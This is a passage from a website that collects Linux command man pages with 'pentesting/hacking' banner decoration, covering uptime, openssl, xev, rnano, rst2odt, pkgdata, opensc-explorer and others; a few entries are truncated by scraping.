uptime [options]

DESCRIPTION

uptime gives a one line display of the following information. The current time, how long the system has been running, how many users are currently logged on, and the system load averages for the past 1, 5, and 15 minutes.

This is the same information contained in the header line displayed by w(1).

System load averages is the average number of processes that are either in a runnable or uninterruptable state. A process in a runnable state is either using the CPU or waiting to use the CPU. A process in uninterruptable state is waiting for some I/O access, eg waiting for disk. The averages are taken over the three time intervals. Load averages are not normalized for the number of CPUs in a system, so a load average of 1 means a single CPU system is loaded all the time while on a 4 CPU system it means it was idle 75% of the time.

OPTIONS

-p, –pretty
show uptime in pretty format

-h, –help
display this help text

-s, –since
system up since, in yyyy-mm-dd HH:MM:SS format

-V, –version
display version information and exit

FILES

/var/run/utmp
information about who is currently logged on

/proc
process information

AUTHORS

uptime was written by Larry Greenfield and Michael K. Johnson

SEE ALSO

ps(1), top(1), utmp(5), w(1)

REPORTING BUGS

Please send bug reports to

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

864 - Linux cli command storeutlssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command storeutlssl and provides detailed information about the command storeutlssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the storeutlssl.

NAME 🖥️ storeutlssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

865 - Linux cli command xev

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xev and provides detailed information about the command xev, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xev.

NAME 🖥️ xev 🖥️

print contents of X events

SYNOPSIS

xev [-display displayname] [-geometry geom] [-bw pixels] [-bs {NotUseful,WhenMapped,Always}] [-id windowid] [-root] [-s] [-name string] [-rv] [-version] [-event event_mask [-event event_mask …]]

DESCRIPTION

Xev creates a window and then asks the X server to send it events whenever anything happens to the window (such as it being moved, resized, typed in, clicked in, etc.). You can also attach it to an existing window. It is useful for seeing what causes events to occur and to display the information that they contain; it is essentially a debugging and development tool, and should not be needed in normal usage.

OPTIONS

-display display
This option specifies the X server to contact.

-geometry geom
This option specifies the size and/or location of the window, if a window is to be created.

-bw pixels
This option specifies the border width for the window.

-bs {NotUseful,WhenMapped,Always}
This option specifies what kind of backing store to give the window. The default is NotUseful. Backing store refers to the the pixels saved off-screen when the X server maintains the contents of a window; NotUseful means that the xev process will redraw its contents itself, as necessary.

-id windowid
This option specifies that the window with the given id should be monitored, instead of creating a new window.

-root
This option specifies that the root window should be monitored, instead of creating a new window.

-s
This option specifies that save-unders should be enabled on the window. Save unders are similar to backing store, but they refer rather to the saving of pixels off-screen when the current window obscures other windows. Save unders are only advisory, and are normally set for popup dialogs and other transient windows.

-name string
This option specifies the name to assign to the created window.

-rv
This option specifies that the window should be in reverse video.

-event event_mask
Select which events to display. The -event option can be specified multiple times to select multiple types of events. When not specified, all events are selected. Available event masks: keyboard mouse expose visibility structure substructure focus property colormap owner_grab_button randr button

-version
This option prints the program version and exits.

SEE ALSO

X(7), xwininfo(1), xdpyinfo(1), Xlib Programmers Manual, X Protocol Specification

AUTHOR

Jim Fulton, MIT X Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

866 - Linux cli command rnano

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rnano and provides detailed information about the command rnano, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rnano.

NAME 🖥️ rnano 🖥️

a restricted nano

SYNOPSIS

rnano [options] [[+line[,column]] file]…

DESCRIPTION

rnano runs the nano editor in restricted mode. This allows editing only the specified file or files, and doesn’t allow the user access to the filesystem nor to a command shell.

In restricted mode, nano will:

  • not make backups;

  • not allow suspending;

  • not allow spell checking;

  • not read nor write the history files;

  • not allow saving the current buffer under a different name;

  • not allow inserting another file or opening a new buffer;

  • not allow appending or prepending to any file.

OPTIONS

-h, –help
Show the available command-line options and exit.

For all existing options, see the nano(1) man page.

BUGS

Please report bugs via https://savannah.gnu.org/bugs/?group=nano.

HOMEPAGE

https://nano-editor.org/

SEE ALSO

nano(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

867 - Linux cli command system-config-printer

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command system-config-printer and provides detailed information about the command system-config-printer, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the system-config-printer.

NAME 🖥️ system-config-printer 🖥️

config-printer - configure a CUPS server

SYNOPSIS

system-config-printer [[–show-jobs printer] | [–debug] | [–help]]

DESCRIPTION

system-config-printer configures a CUPS server. It uses the CUPS API (bound to Python with pycups) to do this. The communication with the server is performed using IPP. As a result, it is equally able to configure a remote CUPS server as a local one.

OPTIONS

–help

Display a short usage message.

–show-jobs printer

Show the named print queue.

–debug

Enable debugging output.

AUTHOR

Tim Waugh <[email protected]>

Author.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

868 - Linux cli command mmroff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mmroff and provides detailed information about the command mmroff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mmroff.

Name

mmroff - cross-referencing front end for GNU roff mm macro package

Synopsis

mmroff [-x] groff-argument . . . mmroff –help mmroff –version

Description

mmroff is a simple wrapper for groff, used to expand cross references in mm; see

It runs groff with the -mm option twice, first with -z and -rRef=1 to populate cross-reference and index files with their corresponding entries, and then again to produce the document. It also handles the inclusion of PostScript images with the PIC macro. Documents that do not use these features of groff mm (the INITI, IND, INDP, INITR, SETR, GETHN, GETPN, GETR, GETST, and PIC macros) do not require mmroff.

Options

–help displays a usage message, while –version shows version information; both exit afterward.

-x
Create or update the cross-reference file and exit.

Authors

mmroff was written by Jörgen Hägg of Lund, Sweden.

See also

(only in Swedish locales),

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

869 - Linux cli command rst2odt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rst2odt and provides detailed information about the command rst2odt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rst2odt.

NAME 🖥️ rst2odt 🖥️

convert reST documents to OpenDocument text (ODT)

SYNOPSIS

rst2odt [options] [<source> [<destination>]]

DESCRIPTION

Generate OpenDocument text (ODT) documents from standalone reStructuredText sources < <https://docutils.sourceforge.io/docs/user/odt.html> >. Reads from <source> (default is stdin) and writes to <destination> (default is stdout). See <https://docutils.sourceforge.io/docs/user/config.html> for a detailed settings reference.

OPTIONS

General Docutils Options

–output=*****<destination>*
Output destination name. Obsoletes the <destination> positional argument. Default: None (stdout).

–title=*****<title>*
Specify the document title as metadata.

–generator,** -g**
Include a “Generated by Docutils” credit and link.

–no-generator
Do not include a generator credit.

–date,** -d**
Include the date at the end of the document (UTC).

–time,** -t**
Include the time & date (UTC).

–no-datestamp
Do not include a datestamp of any kind.

–root-prefix=*****<path>*
Base directory for absolute paths when reading from the local filesystem. Default “/”.

–source-link,** -s**
Include a “View document source” link.

–source-url=*****<URL>*
Use <URL> for a source link; implies –source-link.

–no-source-link
Do not include a “View document source” link.

–toc-entry-backlinks
Link from section headers to TOC entries. (default)

–toc-top-backlinks
Link from section headers to the top of the TOC.

–no-toc-backlinks
Disable backlinks to the table of contents.

–footnote-backlinks
Link from footnotes/citations to references. (default)

–no-footnote-backlinks
Disable backlinks from footnotes and citations.

–section-numbering
Enable section numbering by Docutils. (default)

–no-section-numbering
Disable section numbering by Docutils.

–strip-comments
Remove comment elements from the document tree.

–leave-comments
Leave comment elements in the document tree. (default)

–strip-elements-with-class=*****<class>*
Remove all elements with classes="<class>" from the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–strip-class=*****<class>*
Remove all classes="<class>" attributes from elements in the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–report=<level>, -r* <level>*
Report system messages at or higher than <level>: “info” or “1”, “warning”/“2” (default), “error”/“3”, “severe”/“4”, “none”/“5”

–verbose, -v
Report all system messages. (Same as “–report=1”.)

–quiet, -q
Report no system messages. (Same as “–report=5”.)

–halt=*****<level>*
Halt execution at system messages at or above <level>. Levels as in –report. Default: 4 (severe).

–strict
Halt at the slightest problem. Same as “–halt=info”.

–exit-status=*****<level>*
Enable a non-zero exit status for non-halting system messages at or above <level>. Default: 5 (disabled).

–debug
Enable debug-level system messages and diagnostics.

–no-debug
Disable debug output. (default)

–warnings=*****<file>*
Send the output of system messages to <file>.

–traceback
Enable Python tracebacks when Docutils is halted.

–no-traceback
Disable Python tracebacks. (default)

–input-encoding=<name[:handler]>, -i* <name[:handler]>*
Specify the encoding and optionally the error handler of input text. Default: <auto-detect>:strict.

–input-encoding-error-handler=****INPUT_ENCODING_ERROR_HANDLER
Specify the error handler for undecodable characters. Choices: “strict” (default), “ignore”, and “replace”.

–output-encoding=<name[:handler]>, -o* <name[:handler]>*
Specify the text encoding and optionally the error handler for output. Default: utf-8:strict.

–output-encoding-error-handler=****OUTPUT_ENCODING_ERROR_HANDLER
Specify error handler for unencodable output characters; “strict” (default), “ignore”, “replace”, “xmlcharrefreplace”, “backslashreplace”.

–error-encoding=<name[:handler]>, -e* <name[:handler]>*
Specify text encoding and optionally error handler for error output. Default text encoding: system encoding. Default error handler: backslashreplace.

–error-encoding-error-handler=****ERROR_ENCODING_ERROR_HANDLER
Specify the error handler for unencodable characters in error output. Default: backslashreplace.

–language=<name>, -l* <name>*
Specify the language (as BCP 47 language tag). Default: en.

–record-dependencies=*****<file>*
Write output file dependencies to <file>.

–config=*****<file>*
Read configuration settings from <file>, if it exists.

–version,** -V**
Show this program’s version number and exit.

–help,** -h**
Show this help message and exit.

Generic Parser Options

–no-file-insertion
Disable directives that insert the contents of an external file; replaced with a “warning” system message.

–file-insertion-enabled
Enable directives that insert the contents of an external file. (default)

–no-raw
Disable the “raw” directive; replaced with a “warning” system message.

–raw-enabled
Enable the “raw” directive. (default)

–line-length-limit=*****<length>*
Maximal number of characters in an input line. Default 10 000.

reStructuredText Parser Options

–pep-references
Recognize and link to standalone PEP references (like “PEP 258”).

–pep-base-url=*****<URL>*
Base URL for PEP references (default " <https://peps.python.org/> “).

–pep-file-url-template=*****<URL>*
Template for PEP file part of URL. (default “pep-%04d”)

–rfc-references
Recognize and link to standalone RFC references (like “RFC 822”).

–rfc-base-url=*****<URL>*
Base URL for RFC references (default " <https://tools.ietf.org/html/> “).

–tab-width=*****<width>*
Set number of spaces for tab expansion (default 8).

–trim-footnote-reference-space
Remove spaces before footnote references.

–leave-footnote-reference-space
Leave spaces before footnote references.

–syntax-highlight=*****<format>*
Token name set for parsing code with Pygments: one of “long”, “short”, or “none” (no parsing). Default is “long”.

–smart-quotes=*****<yes/no/alt>*
Change straight quotation marks to typographic form: one of “yes”, “no”, “alt[ernative]” (default “no”).

–smartquotes-locales=*****<language:quotes[,language:quotes,…]>*
Characters to use as “smart quotes” for <language>.

–word-level-inline-markup
Inline markup recognized at word boundaries only (adjacent to punctuation or whitespace). Force character-level inline markup recognition with "” (backslash + space). Default.

–character-level-inline-markup
Inline markup recognized anywhere, regardless of surrounding characters. Backslash-escapes must be used to avoid unwanted markup recognition. Useful for East Asian languages. Experimental.

Standalone Reader Options

–no-doc-title
Disable the promotion of a lone top-level section title to document title (and subsequent section title to document subtitle promotion; enabled by default).

–no-doc-info
Disable the bibliographic field list transform (enabled by default).

–section-subtitles
Activate the promotion of lone subsection titles to section subtitles (disabled by default).

–no-section-subtitles
Deactivate the promotion of lone subsection titles.

ODF-Specific Options.

–stylesheet=****STYLESHEET
Specify a stylesheet. Default: “/usr/share/docutils/writers/odf_odt/styles.odt”

–odf-config-file=*****<file>*
Specify an ODF-specific configuration/mapping file relative to the current working directory.

–cloak-email-addresses
Obfuscate email addresses to confuse harvesters.

–no-cloak-email-addresses
Do not obfuscate email addresses.

–table-border-thickness=*****<int>*
Specify the thickness of table borders in thousands of a cm. Default is 35.

–add-syntax-highlighting
Add syntax highlighting in literal code blocks.

–no-syntax-highlighting
Do not add syntax highlighting in literal code blocks. (default)

–create-sections
Create sections for headers. (default)

–no-sections
Do not create sections for headers.

–create-links
Create links.

–no-links
Do not create links. (default)

–endnotes-end-doc
Generate endnotes at end of document, not footnotes at bottom of page.

–no-endnotes-end-doc
Generate footnotes at bottom of page, not endnotes at end of document. (default)

–generate-list-toc
Generate a bullet list table of contents, not a native ODF table of contents.

–generate-oowriter-toc
Generate a native ODF table of contents, not a bullet list. (default)

–custom-odt-header=<customheader>
Specify the contents of an custom header line. See ODF/ODT writer documentation for details about special field character sequences.

–custom-odt-footer=<customfooter>
Specify the contents of an custom footer line. See ODF/ODT writer documentation for details.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

870 - Linux cli command pkgdata

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkgdata and provides detailed information about the command pkgdata, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkgdata.

NAME 🖥️ pkgdata 🖥️

package data for use by ICU

SYNOPSIS

pkgdata [ -h, -?, –help ] [ -v, –verbose ] [ -c, –copyright | -C, –comment* comment* ] [ -m, –mode* mode* ] -p, –name* name* -O, –bldopt* options* [ -e, –entrypoint* name* ] [ -r, –revision* version* ] [ -F, –rebuild ] [ -I, –install ] [ -s, –sourcedir* source* ] [ -d, –destdir* destination* ] [ -T, –tempdir* directory* ] [ file . . . ]

DESCRIPTION

pkgdata takes a set of data files and packages them for use by ICU or applications that use ICU. The typical reason to package files using pkgdata is to make their distribution easier and their loading by ICU faster and less consuming of limited system resources such as file descriptors. Packaged data also allow applications to be distributed with fewer resource files, or even with none at all if they link against the packaged data directly.

pkgdata supports a few different methods of packaging data that serve different purposes.

The default packaging mode is common, or archive. In this mode, the different data files are bundled together as an architecture-dependent file that can later be memory mapped for use by ICU. Data packaged using this mode will be looked up under the ICU data directory. Such packaging is easy to use for applications resource bundles, for example, as long as the application can install the packaged file in the ICU data directory.

Another packaging mode is the dll, or library, mode, where the data files are compiled into a shared library. ICU used to be able to dynamically load these shared libraries, but as of ICU 2.0, such support has been removed. This mode is still useful for two main purposes: to build ICU itself, as the ICU data is packaged as a shared library by default; and to build resource bundles that are linked to the application that uses them. Such resource bundles can then be placed anywhere where the system’s dynamic linker will be looking for shared libraries, instead of being forced to live inside the ICU data directory.

The static packaging mode is similar to the shared library one except that it produces a static library.

Finally, pkgdata supports a files mode which simply copies the data files instead of packaging them as a single file or library. This mode is mainly intended to provide support for building ICU before it is packaged as separate small packages for distribution with operating systems such as Debian GNU/Linux for example. Please refer to the packaging documentation in the ICU source distribution for further information on the use of this mode.

pkgdata builds, packages, installs, or cleans the appropriate data based on the options given without the need to call GNU make anymore.

OPTIONS

-h, -?, –help
Print help about usage and exit.

-v, –verbose
Display extra informative messages during execution.

-c, –copyright
Include a copyright notice in the binary data.

-C, –comment* comment*
Includes the specified comment in the resulting data instead of the ICU copyright notice.

-m, –mode* mode*
Set the packaging mode to be used by pkgdata. The different modes and their meaning are explained in the DESCRIPTION section above. The valid mode names are common (or archive), dll (or library), and files.

-O, –bldopt* options*
Specify options for the builder. The builder is used internally by pkgdata to generate the correct packaged file. Such options include, but are not limited to, setting variables used by make(1) during the build of the packaged file. Note: If icu-config is available, then this option is not needed.

-p, –name* name*
Set the packaged file name to name. This name is also used as the default entry point name after having been turned into a valid C identifier.

-e, –entrypoint* name*
Set the data entry point (used for linking against the data in a shared library form) to name. The default entry point name is the name set by the -n, –name option.

-r, –revision* version*
Enable versioning of the shared library produced in dll, or library, mode. The version number has the format major.minor.patchlevel and all parts except for major are optional. If only major is supplied then the version is assumed to be major.0 for versioning purposes.

-F, –rebuild
Force the rebuilding of all data and their repackaging.

-I, –install
Install the packaged file (or all the files in the files mode). If the variable DESTDIR is set it will be used for installation.

-s, –sourcedir* source*
Set the source directory to source. The default source directory is the current directory.

-d, –destdir* destination*
Set the destination directory to destination. The default destination directory is the current directory.

-T, –tempdir* directory*
Set the directory used to generate temporary files to directory. The default temporary directory is the same as the destination directory as set by the -d, –destdir option.

AUTHORS

Steven Loomis
Yves Arrouye

VERSION

72.1

COPYRIGHT

Copyright (C) 2000-2009 IBM, Inc. and others.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

871 - Linux cli command rsh-redone-rlogin

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rsh-redone-rlogin and provides detailed information about the command rsh-redone-rlogin, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rsh-redone-rlogin.

makes a connection to the remote login daemon running on

After the connection is made the user can log in. All input is transmitted to the remote machine and all output on the remote machine is sent back to the

client on the local machine, the user has a full controlling terminal on the remote host.

Use only IPv4 to connect to the remote host.

Use only IPv6 to connect to the remote host.

Be verbose.

Connect to the remote machine as a different user than on the local machine.

Connect to a different port than the default one for

RFC 1282.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

872 - Linux cli command opensc-explorer

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command opensc-explorer and provides detailed information about the command opensc-explorer, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the opensc-explorer.

NAME 🖥️ opensc-explorer 🖥️

explorer - generic interactive utility for accessing smart card and similar security token functions

SYNOPSIS

opensc-explorer [OPTIONS] [SCRIPT]

DESCRIPTION

The opensc-explorer utility can be used to perform miscellaneous operations such as exploring the contents of or sending arbitrary APDU commands to a smart card or similar security token.

If a SCRIPT is given, opensc-explorer runs in non-interactive mode, reading the commands from SCRIPT, one command per line. If no script is given, opensc-explorer runs in interactive mode, reading commands from standard input.

OPTIONS

The following are the command-line options for opensc-explorer. There are additional interactive commands available once it is running.

–card-driver driver, -c driver

Use the given card driver. The default is to auto-detect the correct card driver. The literal value ? lists all available card drivers and terminates opensc-explorer.

–mf path, -m path

Select the file referenced by the given path on startup. The default is the path to the standard master file, 3F00. If path is empty (e.g. opensc-explorer –mf “”), then no file is explicitly selected.

–reader arg, -r arg

Number of the reader to use. By default, the first reader with a present card is used. If arg is an ATR, the reader with a matching card will be chosen.

–verbose, -v

Cause opensc-explorer to be more verbose. Specify this flag several times to enable debug output in the opensc library.

–wait, -w

Wait for a card to be inserted.

COMMANDS

opensc-explorer supports commands with arguments at its interactive prompt or in script files passed via the command line parameter SCRIPT.

Similar to a command shell like e.g. bash, each input line is split into white-space separated words. Of these words, the first one is used as the command, while the remaining ones are treated as arguments to that command.

